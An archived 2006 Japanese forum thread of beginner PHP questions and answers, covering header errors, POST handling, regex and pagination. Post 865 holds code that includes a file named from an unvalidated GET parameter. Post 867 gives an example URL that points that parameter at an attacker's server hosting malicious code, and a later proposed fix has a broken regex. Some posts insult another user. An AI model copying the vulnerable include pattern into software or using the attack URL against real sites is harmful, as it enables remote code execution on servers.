【PHP】下らねぇ質問はここに書き込みやがれpart20
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2006/04/28(金) 04:12:33ID:???ここなら本スレで回答のないお前の下らない質問に回答があるかも知れません。
まず読め【PHP マニュアル】
http://www.php.net/manual/ja/
本スレ【PHP】質問スレッドpart34【php】
http://pc8.2ch.net/test/read.cgi/php/1142903954/
【PHP】下らねぇ質問はここに書き込みやがれ Part19
http://pc8.2ch.net/test/read.cgi/php/1144513878/
過去スレは>>2-3あたり
0784nobodyさん
2006/05/20(土) 04:00:40ID:???0785nobodyさん
2006/05/20(土) 04:20:40ID:???ワケ ワカ ラン♪
∧_∧ ∧_∧ ∧_∧
( ・∀・) ( ・∀・) ( ・∀・)
⊂ ⊂ ) ( U つ ⊂__へ つ
< < < ) ) ) (_)|
(_(_) (__)_) 彡(__)
0787784
2006/05/20(土) 05:03:45ID:???をIE5で開いても番組ファイルが残ってないのでクリックし直さなきゃなんないのです
0789724
2006/05/20(土) 05:04:48ID:???いえいえ、もちろんそんなこと思ってませんよ。
もし何か保存されてるとしたらセッションIDだけですよね。
自分では明示的にクッキーに何か保存するコードは書いてませんので。
っていうか、とにかくIEのクッキー保存フォルダに、該当ドメインのクッキーが
見当たらないんですよね。。。 他のサイト(たとえばyahooとか)のクッキーはもちろんそのフォルダにあります。
0790nobodyさん
2006/05/20(土) 06:32:41ID:???スレ違いかもしれないのですが、SQLiteってidentityって使えませんでしょうか。。
SQL文は通るのですが、値が入ってないみたいでして。。
PHPは5.1.4使ってます。
0791nobodyさん
2006/05/20(土) 07:23:44ID:???identity使えるのはSQL ServerとMS Accessだけ
SQLite含めOracleやpostgreSQL, MySQLでは使えない
0793nobodyさん
2006/05/20(土) 12:09:03ID:???なんで?
携帯サイトだから、SJISなんだけど
0794nobodyさん
2006/05/20(土) 12:11:52ID:???今までで、これは使いやすい・または優秀だと思ったWebアプリのUIは何ですか?
ちょっとPHPとは関係ない感じではありますが、(DHTMLよりかも)
デザイナーではなく、マの視点が聞きたいのもありますので。
Virtual Earth
http://local.live.com/
0796nobodyさん
2006/05/20(土) 14:40:18ID:???0798nobodyさん
2006/05/20(土) 15:13:58ID:???<head>
<title>aaa</title>
</head>
<body>
<?php
$hour = date('H');
if (3 <= $hour < 10) {
$greeting = 'おはようございます';
} else if (10 <= $hour < 18) {
$greeting = 'こんにちわ';
} else {
$greeting = 'こんばんわ';
}
echo $greeting."現在の時刻は".date('H時間')."です";
?>
</body>
</html>
Parse error: syntax error, unexpected 〜と出るんですが
何がおかしいですかね
うんこな質問だったらごめんなさい
0799nobodyさん
2006/05/20(土) 15:27:38ID:???とりあえず、この書き方がキモく感じるから、これが間違ってるんでね?
if (3 <= $hour < 10) {
0800nobodyさん
2006/05/20(土) 15:40:19ID:???0801nobodyさん
2006/05/20(土) 16:30:53ID:???ある会社が提供してるサービスを再販するために、システム開発のためのAPI提供してくれてるんですが、
その使用形式ってのが
http://その会社のアドレス/api.php?id=$id&pass=$pass&action=$action
というアドレスへシステム(php等)からアクセスするっていう方式なんです。
ここでかなり不安になったのが、
URLにID/PASSを含んでることです。
まずSSL使用しなければ危険性盛りだくさんな気がしますし、
このシステムはクライアントに対して利用してもらうことになるので
他にもなんかかなり不安です。
(たとえば、php.iniでエラー表示させる設定にしてて
何かエラーが発生したら簡単にID/PASSを漏らしちゃいそうな・・・
これの場合はその設定をoffにすればいいだけですが)
注意点とかあったら教えてください m(_ _)m
お願いします
0804nobodyさん
2006/05/20(土) 17:02:24ID:???ああああ
もしかして最後のline 7とか出てたのがそれだったんですか
>>780
お二人ともありがとうございました
0805nobodyさん
2006/05/20(土) 17:09:46ID:???例:「COUNT=1 COUNT2=2」のCOUNTの値を取り出したい場合は
$var = "COUNT=1 COUNT2=2";
preg_match_all("/COUNT=([0-9])/", $var, $match_list);
$count = $match_list[1][0];
とやってますが、この $match_listの後ろの配列っぷり([1][0])が苦手です。
もっとわかりやすい方法あったら教えてちょ
0806nobodyさん
2006/05/20(土) 17:26:52ID:???全てのページ分の数字を出すと、多すぎて邪魔になってしまいます。
そこで、「1 2 (3 表示中) 4 5」や「25 26 (27 表示中) 28 29」のように、指定した数だけ表示させたいのですが、
方法がいまいちわかりません。どのようにすれば良いでしょうか。
0807nobodyさん
2006/05/20(土) 17:59:24ID:???$var = "COUNT=1 COUNT2=2";
preg_match_all("/COUNT=([0-9])/", $var, $match_list);
これでOKなのかと小一時間?
0808nobodyさん
2006/05/20(土) 18:00:15ID:???表示中の位置(3とか27とか)はわかるんでしょ
ループの開始値は「現在の位置−2」、ループの終了値は「現在位置+2」
0810nobodyさん
2006/05/20(土) 18:12:09ID:???面倒なら一旦
$var2=explode(' ', $var);
とかやって、1つずつ分割してから
foreach ($var2 as $var3) { if (preg_match('〜
のように処理しては?
どっちが分かりやすいかは(゚�听)シラネ
0811nobodyさん
2006/05/20(土) 18:36:42ID:???0812nobodyさん
2006/05/20(土) 20:54:02ID:poPXxmgLハッシュは見つかるのですが。。
0813nobodyさん
2006/05/20(土) 21:01:18ID:???つか可逆暗号化なんて使う機会なかったし。
Blowfishなら簡単に作れるから作ってみたら?
0814812
2006/05/20(土) 21:07:32ID:???PHPが出てから結構たつ気がするのですが、ライブラリはまだPerlに比べて貧弱なんですね。。orz
けれど、mod_phpで運用されているところが多いのを考えると。。
Blowish、CPANから引っ張って来て移植してみます。ありがとうございました!
0815nobodyさん
2006/05/20(土) 21:15:06ID:???変更することを
フォーム内容を変更して
って言っていたんですが、通じなかったのですが、通常なんて言うのですか?
0816nobodyさん
2006/05/20(土) 21:59:06ID:???0818nobodyさん
2006/05/20(土) 22:05:18ID:???「フォーム内容」だと漠然としすぎて(値だけじゃなく構成から何から全部含むので)
それで通じるとこは普通無いと思う。
素直に具体的に書け。
0820nobodyさん
2006/05/20(土) 22:08:22ID:???>>815は
http://pc8.2ch.net/test/read.cgi/hp/1141064508/
で暴れまわっている、◆uuPwxrB4qc というキティちゃんなので
完全放置してください。
0821nobodyさん
2006/05/20(土) 22:13:57ID:???せんせーわかりましたー(;´Д`)∩
0823nobodyさん
2006/05/20(土) 23:00:41ID:???0824nobodyさん
2006/05/21(日) 00:35:06ID:???http://pc8.2ch.net/test/read.cgi/hp/1141064508/
にてなぶり殺しの刑に処しましたのでお許しくださいませ。
0825nobodyさん
2006/05/21(日) 00:38:49ID:???せんせーわかりましたー(;´Д`)∩
0827nobodyさん
2006/05/21(日) 17:14:54ID:???なぜか受け取り側ではGETでしか値を取得できません。
きちんとPOSTでうけとりたいのですが、
どこをいじればいいんでしょう?
お願いします。
0829nobodyさん
2006/05/21(日) 17:33:39ID:???↓これがGETでしか受信できません。
<form action="top.php" name="top" method="POST">
<table>
<tr>
<td><input type="text" name="name" value=""></td>
</tr>
<tr>
<td><input type="submit" name="confirm" value="確認"></td>
</tr>
</table>
</form>
0830nobodyさん
2006/05/21(日) 17:46:10ID:DL+BRbj9なぜGETでしか「受信」できてないのかを書いたほうがいいかも
#どういう事象からGETでしか「受信」できてないかという結論を導き出したかってことね
0831nobodyさん
2006/05/21(日) 18:07:43ID:???これってかなり技術を要するのでしょうか?
解説するページ等があったら教えてください。
0832nobodyさん
NGNG直す方法ないでしょうか?
パンツがずり下がってきて困ってるんです。
0838nobodyさん
2006/05/21(日) 19:38:51ID:???変な文章だな。送信はGETでやれてんの?POSTでやれてんの?
ブラウザのアドレス欄を見ればどっちで送信されてるかは分かるだろう。
アドレス欄に「?〜」が付いていないのに、受け取り側では$_POSTが空っぽ、って話?
0839nobodyさん
2006/05/21(日) 19:40:09ID:???レンタルスペースだと使えるとこは限られるだろうけど
サーバー貸しのとこならそのくらいインストールできるんじゃね?
0842nobodyさん
2006/05/21(日) 23:32:31ID:???<?php
if (isset($logout)) {
unset($_SESSION['id']);
header("Location: ../login.php");
}else{
$mess .= "ログアウトしますか?";
$mess .= "<form method='POST' action='$PHP_SELF'>";
$mess .= "<input type='submit' name='logout' value='ログアウト'>";
$mess .= "</from>";
}
echo $mess;
?>
しかし、「ログアウト」のボタンを押すと、以下のようなエラーメッセージが出て
locationされません。どうしたらいいでしょうか?
Cannot modify header information - headers already sent by (output started at
0844842
2006/05/21(日) 23:39:51ID:???ファイル名は(というかファイルの場所は)
http://(ドメイン名)/admin/logout/index.php
にしています。
0845nobodyさん
2006/05/21(日) 23:46:17ID:???header()の代わりにexit()で終了させて何も出力されていないか確認してごらん。
「何も」にはスペースや改行コードも含まれる。
0846nobodyさん
2006/05/21(日) 23:49:40ID:???↓ここに書いてある通り、
headers already sent by (output started at
↓の行が実行される前に何かが出力されている
header("Location: ../login.php");
<?phpの前に空き行が無いか確認
というか、「started at〜」の所にその最初の出力がある行番号が出ているはずだが
あと、Location:のとび先は本来は絶対アドレスで書く
いずれも詳しくはマニュアルのheaderの項目を嫁
0847nobodyさん
2006/05/21(日) 23:49:58ID:???0849842
2006/05/21(日) 23:56:42ID:???exit();をしましたが、何も出力されませんでした。
>>846-848
もしかして同じページにheaderが2つあったらいけないのでしょうか?
というのも
<?
ログインを判別するソース。ログインしてない場合はheader("Location")で
ログインフォームに戻す
?>
<html>
〜
>>842のソース
</html>
となっています。
0852nobodyさん
2006/05/22(月) 00:03:25ID:???headerが二つ書いてあったって別に良いけど、
出力(実行)は一回だけ。
ただし、header関数実行以外でも<?php 〜 ?>の外側に何かが書かれていると、
その時点で、PHPはtext/htmlというMIMEヘッダーを出力する。
0853nobodyさん
2006/05/22(月) 00:29:24ID:???0855nobodyさん
2006/05/22(月) 00:44:06ID:???0857nobodyさん
2006/05/22(月) 00:51:04ID:???…真面目に相手しすぎ?
0858nobodyさん
2006/05/22(月) 00:54:58ID:???0859nobodyさん
2006/05/22(月) 00:57:05ID:???男らしく謝る心の広さw
0861nobodyさん
2006/05/22(月) 01:41:38ID:U9KQg94sエラーメッセージを返したいのですが、require()は取りこみに失敗しても「FALSE」を返しませんよね?
こういった場合、みなさんはどうします?
0863nobodyさん
2006/05/22(月) 01:56:59ID:???require()だと普通に「ファイル読ねエラー」吐いて停止するでそ?
include()掛けて、インクルードファイルの中に
定数定義でも仕込んでおいて、それを評価するとか。
思いつきだけど。
0865861
2006/05/22(月) 02:07:01ID:U9KQg94sヒント、ありがとうです。
$cmd = $_GET["cmd"];
if (file_exists($cmd . ".inc.php") {
include ($cmd . ".inc.php");
} else {
$error = "Not Found...";
}
0866nobodyさん
2006/05/22(月) 02:12:27ID:???そのままだとXSSの危険性があるので preg_match() で正規表現による
マッチングを行ったほうがいいと思う。念のため。
0867nobodyさん
2006/05/22(月) 03:10:50ID:???http://>>865サーバ/test.php?cmd=http://オレのサーバ/悪意のあるコードを含んだinc.phpのあるディレクトリパス
0868861
2006/05/22(月) 03:37:18ID:U9KQg94sこんな感じでどうでしょうか?
if ($_GET["cmd"]) {
$cmd = $_GET["cmd"];
if (preg_match ("[0-9A-Za-z]", $cmd, $m_cmd) ) {
if (file_exists ("./plugin" . $m_cmd . ".inc.php") != FALSE) {
include ("./plugin/" . $m_cmd . ".inc.php");
} else {
$error = "Plugin: " . htmlspecialchars ($m_cmd) . "is not implemented";
}
}
}
0869nobodyさん
2006/05/22(月) 04:34:06ID:???#define DEBUG
#ifdef DEBUG
デバグ用コード
#endif
に近いことを php でやるにはどうしたらいいでしょう?
デバグ用のコードに簡単に切り替えられればなんでもいいですが。
0870nobodyさん
2006/05/22(月) 04:47:43ID:???if (defined('DEBUG')):
デバグ用コード
endif;
0871nobodyさん
2006/05/22(月) 04:49:09ID:3WaYFEXjsystem("cvs checkout -d /usr/local/www/subdomain/cvs example.com");
system("chmod 707 /usr/local/www/subdomain/cvs/inc/class/smarty/app/templates_c");
必ず、1つめのsystemによる実行がすべて終わってから、2つめのsystemが実行されるのでしょうか?
(同時に実行してしまうことはないでしょうか?)
0876nobodyさん
2006/05/22(月) 05:18:08ID:???つ http://www.php.net/manual/ja/control-structures.alternative-syntax.php
俺も余り使わんが
0878nobodyさん
2006/05/22(月) 05:38:25ID:???ぐは
file_existsはリモートファイルでは使えないって書いてあったorz
みんな、マニュアルはよく読もうね(´・ω・`)
0883nobodyさん
2006/05/22(月) 06:42:45ID:???そのときは例の if を使わざるをえない?
0884nobodyさん
2006/05/22(月) 08:41:41ID:???その正規表現だと「0-9A-Za-z」しかマッチしないんじゃないか?
正しく書かれていても、0-9a-zA-Zが1文字も含まれない場合しかスルーしない
if (preg_match ("!^\w+$!", $cmd, $m_cmd) ) {
とすべきか(_も含まれちゃうけど)
まあ既出の通りその後で蹴られるけど、関数の仕様が変わった時問題になるので
ファイル名のチェックは必要
■ このスレッドは過去ログ倉庫に格納されています